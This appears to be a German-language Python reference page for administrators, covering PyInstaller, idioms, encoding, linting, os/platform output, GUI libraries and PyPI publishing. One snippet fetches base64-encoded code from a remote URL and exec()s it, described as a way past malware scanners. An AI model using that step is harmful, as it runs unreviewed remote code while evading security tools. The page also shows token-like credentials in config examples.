# install any libraries specific for your project, e.g.:
pip install BeautifulSoup4 lxml psutil PyMySQL smbprotocol vici

pyinstaller \
    --clean \
    --distpath /tmp/dist \
    --workpath /tmp/build \
    --specpath /tmp/spec \
    --noconfirm \
    --noupx \
    --onedir \
    /path/to/my/script

Troubleshooting

Beim Laufenlassen des Executables: importlib.metadata.PackageNotFoundError: python-keystoneclient

pyinstaller zusätzlich --copy-metadata python-keystoneclient mitgeben.

Beim Laufenlassen des Executables: FileNotFoundError: [Errno 2] No such file or directory: '/tmp/dist/check-plugins/openstack-nova-list/_internal/os_service_types/data/service-types.json'

pyinstaller zusätzlich --collect-data os_service_types mitgeben.

Coding

Variablen

String über mehrere Zeilen:

st = ('first line {} '
     'second line {}').format(1, 2)

Längere Textpassage:

st =  = """
Lorem ipsum.
Lorem ipsum.
"""

Prüfen auf Typ:

if isinstance(var, dict):

„if x is not y“ oder „if x not is y“? Spielt keine Rolle, am lesbarsten aber ist:

x is not y

Alle Elemente einer Liste als einzelne Argumente in eine Funktion:

fruits = ['lemon', 'pear', 'watermelon', 'tomato']
myfunc(*fruits)

Dictionary-Elemente an Funktion übergeben:

mysql_connection = {
    'user':               args.USERNAME,
    'password':           args.PASSWORD,
    'host':               args.HOSTNAME,
    'database':           args.DATABASE,
    'raise_on_warnings':  True,
}
cnx = mysql.connector.connect(**mysql_connection)

Schleifen

# list (array)
# value only:
for value in data:
# index only:
for i in range(len(data)):
# value and index:
for i, value in enumerate(data):

# dict (associative array)
for key in data.keys():
for value in data.values():
for key, value in data.items():

Exception Handling

Beispiele:

  • except:: No exception type(s) specified (bare-except)

  • except Exception as e:: Catching too general exception Exception (broad-except)

  • except ValueError:: int('a')

  • except IndexError:: a[1]

  • except OSError:: sehr allgmeiner Fehler der os-Class, bei z.B. os.listdir('/')

  • except FileNotFoundError:: spezifischer Fehler der os-Class, bei z.B. os.listdir('/')

  • except KeyError, AttributeError:: Mehrere Exceptions auf einmal abhandeln

Nützliche Code-Schnipsel

Dateipfade richtig zusammenbauen:

os.path.join(path, filename)

Import von Modulen:

try:
    import psutil # pylint: disable=C0413
    HAVE_PSUTIL = True
except ImportError:
    HAVE_PSUTIL = False

Python-Code remote laden und an Malware-Scannern vorbei ausführen:

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-code/py.b64')
    ).decode())"

Prozentausgabe auf einer Line:

Python 3
# progress bar
if count == 0:
    increase = 100
else:
    increase = 100 / count
progress = 0


loop:
    # do something
    print('Status: ', round(progress), '%       ', end='\r')
    progress += increase

Kopiere CSV-Datei 1 selektiv nach CSV-Datei 2:

import csv

with open('/tmp/tarifpositionen-20191023.csv', 'r') as csvin, open('/tmp/testout.csv', 'w') as csvout:
    csvin = csv.reader(csvin, delimiter=',', quotechar='"')
    csvout = csv.writer(csvout, delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL)
    cnt = 0
    for row in csvin:
        cnt += 1
        if row[0] != '129722558':
            csvout.writerow(row)
    print(cnt)

cmd1 | cmd2 | cmd3 in Python - Replacing shell pipeline:

import subprocess

p1 = subprocess.Popen(["dmesg"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["grep", "too"], stdin=p1.stdout, stdout=subprocess.PIPE)
p3 = subprocess.Popen(["grep", "2500"], stdin=p2.stdout, stdout=subprocess.PIPE)
p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
p2.stdout.close()  # Allow p2 to receive a SIGPIPE if p3 exits.
output = p3.communicate()[0]

Encoding, Decoding, Unicode, UTF-8

Strings:

  • Python 3:
    my_bytes = b"Under my Umbrella" (Class „bytes“)
    my_string = "Under my \u2602" (Class „str“)
  • Python 2 - str kann Text und Bytes beinhalten:
    my_string = "Under my Umbrella" (Type „str“, stores Bytes)
    my_unicode = u"Under my \u2602" (Type „unicode“, stores Code-Points)

Encode und Decode unter Python 3:

  • string.encode() == lib.txt3.to_bytes()

  • bytes.decode() == lib.txt3.to_text()

  • Keine implizite Dekodierung mehr. Ein Unicode-String ist ungleich einem Byte-String, selbst wenn beide den gleichen ASCII-Text beinhalten.

Bemerkung

Python 2: unicode.encode() ergibt Bytes, bytes.decode() ergibt Unicode. len(unicode) zählt die Anzahl der Zeichen, len(bytes) zählt die Anzahl der Bytes. Output ist immer in Bytes. Python 2 versucht automatisch, Byte-Strings zu decodieren. Der format()-Befehl liefert „str“, wenn ihm kein Unicode-String übergeben wird.

Umgang damit:

  1. Input in das eigene Programm: Bytes

  2. So früh wie möglich in Unicode dekodieren.

  3. Mit Unicode arbeiten.

  4. So spät wie möglich in Bytes enkodieren.

  5. Output: Bytes

  6. Debugging: print type(myvar), print repr(myvar)

Siehe auch:

Code Qualität

Syntax-Check:

python -m py_compile script.py

Automatische Code-Formatierung:

dnf install python3-black
black --line-length 100 script.py

Struktur prüfen: pylint. Brauchbare pylint.rc: https://google.github.io/styleguide/pylintrc

pylint --disable=C0103,C0114,C0116 script.py

Auf Sicherheitslücken prüfen: bandit

pip install bandit
bandit --recursive my-script

Pre-commit Hooks für Git:

Ausführungszeiten messen

import time

start = time.time()
print("hello")
end = time.time()
print(end - start)

pydoc

pydoc -b ./mymodule.py
  • ohne Parameter: öffnet eine Dokumentation im Terminal

  • -w: speichert die Dokumentation als html

  • -k <Begriff>: nach einem Begriff suchen

  • -p <Port>: startet lokalen HTTP Server

  • -n <hostname>: der HTTP Server hört auf den Namen

  • -b: startet den Server und öffnet die Seite im Browser

Module

Liste an Modulen:

  • MySQL/MariaDB: MySQLdb (wird auch in Ansible-Modulen verwendet)

Modul B importieren, wenn Modul A nicht verfügbar ist:

try:
    # https://pymysql.readthedocs.io/en/latest/
    import pymysql as mysql_driver
    _mysql_cursor_param = 'cursor'
except ImportError:
    try:
        import MySQLdb as mysql_driver
        import MySQLdb.cursors
        _mysql_cursor_param = 'cursorclass'
    except ImportError:
        mysql_driver = None

BeautifulSoup

Verarbeitung von Auszeichnungssprachen wie HTML und XML.

https://www.crummy.com/software/BeautifulSoup/bs4/doc/

from bs4 import BeautifulSoup
import re

with open("lfs.html") as fp:
    soup = BeautifulSoup(fp, 'html.parser')

for tag in soup.find_all():
    try:
        if 'sect2' in tag.attrs['class']:
            if tag.string:
                print('\n# {}\n'.format(tag.string.strip()))
    except:
        continue

    try:
        if tag.name == 'kbd':
            print('{}\n'.format(tag.string.strip()))
    except:
        continue

os


>>> import os
    >>> os.ctermid()
    '/dev/tty'
    >>> os.curdir
    '.'
    >>> os.defpath
    ':/bin:/usr/bin'
    >>> os.devnull
    '/dev/null'
    >>> os.environ
    {'LC_NUMERIC': 'de_CH.UTF-8', 'PROCESSES': '117', 'LESSOPEN': '||/usr/bin/lesspipe.sh %s', 'SSH_CLIENT': '1.2.3.4 57484 22', 'SELINUX_USE_CURRENT_RANGE': '', 'LOGNAME': 'root', 'USER': 'root', 'ZOMBIES': '0', 'HOME': '/root', 'LC_PAPER': 'de_CH.UTF-8', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin', 'PS1': '[\\[\\033[1;32m\\]$(date +%H:%M:%S) \\u@\\h \\w\\[\\033[0m\\]]$ ', 'LANG': 'en_US.UTF-8', 'TERM': 'xterm-256color', 'SHELL': '/bin/bash', 'LC_MONETARY': 'de_CH.UTF-8', 'HISTSIZE': '100000', 'EDITOR': 'nano', 'XMODIFIERS': '@im=ibus', 'XDG_RUNTIME_DIR': '/run/user/0', 'SHLVL': '1', 'SELINUX_ROLE_REQUESTED': '', 'XDG_SESSION_ID': '1851', '_': '/usr/bin/python2', 'SSH_CONNECTION': '1.2.3.4 57484 192.168.1.10 22', 'SSH_TTY': '/dev/pts/0', 'HOSTNAME': 'myhostname', 'SELINUX_LEVEL_REQUESTED': '', 'HISTCONTROL': 'ignoredups', 'LC_MEASUREMENT': 'de_CH.UTF-8', 'PWD': '/root', 'MAIL': '/var/spool/mail/root', 'LC_TIME': 'de_CH.UTF-8', 'LS_COLORS': 'rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13:*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:'}
    >>> os.getcwd()
    '/root'
    >>> os.getegid()
    0
    >>> os.geteuid()
    0
    >>> os.getgid()
    0
    >>> os.getgroups()
    [0]
    >>> os.getloadavg()
    (0.16, 0.26, 0.15)
    >>> os.getlogin()
    'root'
    >>> os.getpgrp()
    18108
    >>> os.getpid()
    18108
    >>> os.getppid()
    18031
    >>> os.getresgid()
    (0, 0, 0)
    >>> os.getresuid()
    (0, 0, 0)
    >>> os.getuid()
    0
    >>> os.linesep
    '\n'
    >>> os.name
    'posix'
    >>> os.pardir
    '..'
    >>> os.pathconf_names
    {'PC_MAX_INPUT': 2, 'PC_VDISABLE': 8, 'PC_SYNC_IO': 9, 'PC_SOCK_MAXBUF': 12, 'PC_NAME_MAX': 3, 'PC_MAX_CANON': 1, 'PC_PRIO_IO': 11, 'PC_CHOWN_RESTRICTED': 6, 'PC_ASYNC_IO': 10, 'PC_NO_TRUNC': 7, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_PIPE_BUF': 5, 'PC_PATH_MAX': 4}
    >>> os.pathsep
    ':'
    >>> os.pipe()
    (3, 4)
    >>> os.sep
    '/'
    >>> os.times()
    (0.0, 0.0, 0.0, 0.0, 5146806.87)
    >>> os.uname()
    ('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64')

platform

>>> import platform
>>> platform.machine()
'x86_64'
>>> platform.node()
'myhostname'
>>> platform.processor()
'x86_64'
>>> platform.python_branch()
''
>>> platform.python_build()
('default', 'Nov 16 2020 22:23:17')
>>> platform.python_compiler()
'GCC 4.8.5 20150623 (Red Hat 4.8.5-44)'
>>> platform.python_implementation()
'CPython'
>>> platform.python_revision()
''
>>> platform.python_version()
'2.7.5'
>>> platform.python_version_tuple()
('2', '7', '5')
>>> platform.release()
'3.10.0-1160.31.1.el7.x86_64'
>>> platform.system()
'Linux'
>>> platform.uname()
('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64', 'x86_64')
>>> platform.version()
'#1 SMP Thu Jun 10 13:32:12 UTC 2021'

selenium

from selenium import webdriver
import time

number_of_browsers = 5
time_to_refresh = 20
url = 'https://www.example.com'
drivers = []

for i in range(number_of_browsers):
    drivers.append(webdriver.Chrome(executable_path = "~/.ZAP/webdriver/linux/64/chromedriver"))
    drivers[i].get(url)
while True:
    time.sleep(time_to_refresh)
    for i in range(number_of_browsers):
        drivers[i].refresh()

Das Klassenkonzept

#!/usr/bin/env python3
# -*- encoding: utf-8; py-indent-offset: 4 -*-
#
# Author:  Linuxfabrik GmbH, Zurich, Switzerland
# Contact: info (at) linuxfabrik (dot) ch
#          https://www.linuxfabrik.ch/
# License: The Unlicense, see LICENSE file.

__author__ = 'Linuxfabrik GmbH, Zurich/Switzerland'
__version__ = '2020122901'


class bottle:

    # attributes, also usable in sub-classes, except private ones
    material_public     = 'Plastic (public)'
    _material_protected = 'Plastic (protected)'
    __material_private  = 'Plastic (private)'

    # constructor
    def __init__(self, color):
        self.color_public =  '{} (public)'.format(color)
        self._color_protected = '{} (protected)'.format(color)
        self.__color_private = '{} (private)'.format(color)

    # methods
    def take(self):
        print('Taking...')

        print('{}'.format(self.material_public))
        print('{}'.format(self._material_protected))
        print('{}'.format(self.__material_private))

        print('{}'.format(self.color_public))
        print('{}'.format(self._color_protected))
        print('{}'.format(self.__color_private))


class big_bottle(bottle):

    # constructor
    def __init__(self, color):
        # you will lose all attributes defined in __init__ from class bottle
        # if you define a new constructor for this class
        pass

    def take(self):
        print('Taking...')

        print('{}'.format(self.material_public))
        print('{}'.format(self._material_protected))

        # this attribute is only accessible in its own class
        # print('{}'.format(self.__material_private))

        # would be accessible if you don't define a new constructor here
        # print('{}'.format(self.color_public))
        # print('{}'.format(self._color_protected))

        # this attribute is only accessible in its own class
        # print('{}'.format(self.__color_private))


# main
beer = bottle(color='brown')

beer.material_public = 'Glass (public)'
beer._material_protected = 'Glass (protected)'
beer.__material_private = 'Glass (private)'

beer.take()

# Output:
# Taking...
# Glass (public)
# Glass (protected)
# Plastic (private)
# brown (public)
# brown (protected)
# brown (private)

water = big_bottle('blue')

water.take()

# Output:
# Taking...
# Plastic (public)
# Plastic (protected)

GUI, TUI

GUI-Bibliotheken

Gtk
Qt
  • PyQt: Interface zu QT

  • PySide2: Interface zu QT

    • /usr/local/lib64/python3.9/site-packages/PySide2/examples

Links zur Erstellung von Dialogen mit Qt Designer und Python:

Tk
  • TKinter: Interface zu Tcl/Tk (Python Standard GUI - für einfachste Dinge)

TUI-Anwendung mit SnackScreen

#!/usr/bin/env python

from snack import *
screen = SnackScreen()

lbox = Listbox(height = 5, returnExit = 1)
lbox.append("Fedora", 1)
lbox.append("Red Hat Enterprise Linux", 2)
lbox.append("Ubuntu", 3)
lbox.append("Slackware", 4)
lbox.append("RHEL", 5)

grid = GridForm(screen, "Select your favorite distro", 1, 1)
grid.add(lbox, 0, 0)
result = grid.runOnce()

screen.finish()

#print "listbox:", lbox.current()
if lbox.current() == 1:
   print "Selected Fedora!"
elif lbox.current() == 2:
   print "Selected Red Hat Enterprise Linux!"
elif lbox.current() == 3:
   print "Selected Ubuntu!"
elif lbox.current() == 4:
   print "Selected Slackware!"
elif lbox.current() == 5:
   print "Selected RHEL!"

Die Vorbilder liegen auf RHEL 7 nach der Installation mit yum list system-config* im Verzeichnis /usr/share/system-config-* - und zwar im Python-Quelltext. Die Dokumentation zu SnackScreen findet sich in der Datei /usr/lib64/python2.7/site-packages/snack.py. SnackScreen selbst basiert auf newt, einer in C-geschriebenen Window- und Widget-Library von Red Hat. Deren Doku erhält man nach einem yum -y install newt-devel; die Datei /usr/share/doc/newt-devel/tutorial.txt bietet einen umfassenden Einblick.

PyGTK und Glade

  • ComboxBox: auf Basis eines Models; die ID sollte vom Typ String sein.

  • ComboBoxText: reine Auflistung von Text-Einträgen, hinter denen eine str(ID) steht. Benötigt kein Model, bietet keine Text-Eingabemöglichkeit.

  • ComboBoxEntry: eine ComboBox mit Text-Eingabefeld gab es in GTK 2 noch, aber nicht mehr in GTK 3. In GTK 3 eine „ComboBox“ mit Eigenschaft „Has Entry“ wählen.

Siehe:

PyPI

Englisch ausgesprochen „pie pea eye“.

Packaging und Veröffentlichung auf PyPI - so geht’s am Beispiel der Linuxfabrik libs.

Venv erstellen:

python3 -m venv ~/venvs/lib
source ~/venvs/lib/bin/activate

python3 -m pip install --upgrade pip wheel
python3 -m pip install --upgrade build twine setuptools

pyproject.toml File erstellen, als Beispiel siehe Linuxfabrik libs.

Package bauen:

cd linuxfabrik/lib
python -m build

# check that your package description will render properly on PyPI
twine check dist/*

Auf https://test.pypi.org/manage/account/ API-Token erstellen und Twine konfigurieren:

$HOME/.pypirc
[testpypi]
username = __token__
password = pypi-204513be14d74574a3bef240699e7117

Hochladen auf PyPI Test-Instanz:

twine upload --repository testpypi dist/*

Angaben prüfen: https://test.pypi.org/project/linuxfabrik-lib/.

Tipp

Die Installation des hochgeladenen Pakets von Test-PyPI kann man prüfen,

  1. wenn im Virtual Environment die notwendigen Requirements für das eigene Projekt aus dem produktiven PyPI mit pip install --requirement requirements.txt installiert sind

  2. und man anschliessend python3 -m pip install --index-url https://test.pypi.org/simple/ --upgrade linuxfabrik-lib aufruft.

Für die Installation vom produktiven pypi.org genügt dagegen ein python3 -m pip install linuxfabrik-lib.

Auf https://pypi.org/manage/account/ API-Token erstellen und Twine konfigurieren:

$HOME/.pypirc
[pypi]
username = __token__
password = pypi-204513be14d74574a3bef240699e7117

Hochladen auf Prod:

twine upload dist/*

Angaben prüfen: https://pypi.org/project/linuxfabrik-lib/, besonders unter https://pypi.org/manage/project/linuxfabrik-lib/releases/.

Built on 2025-03-27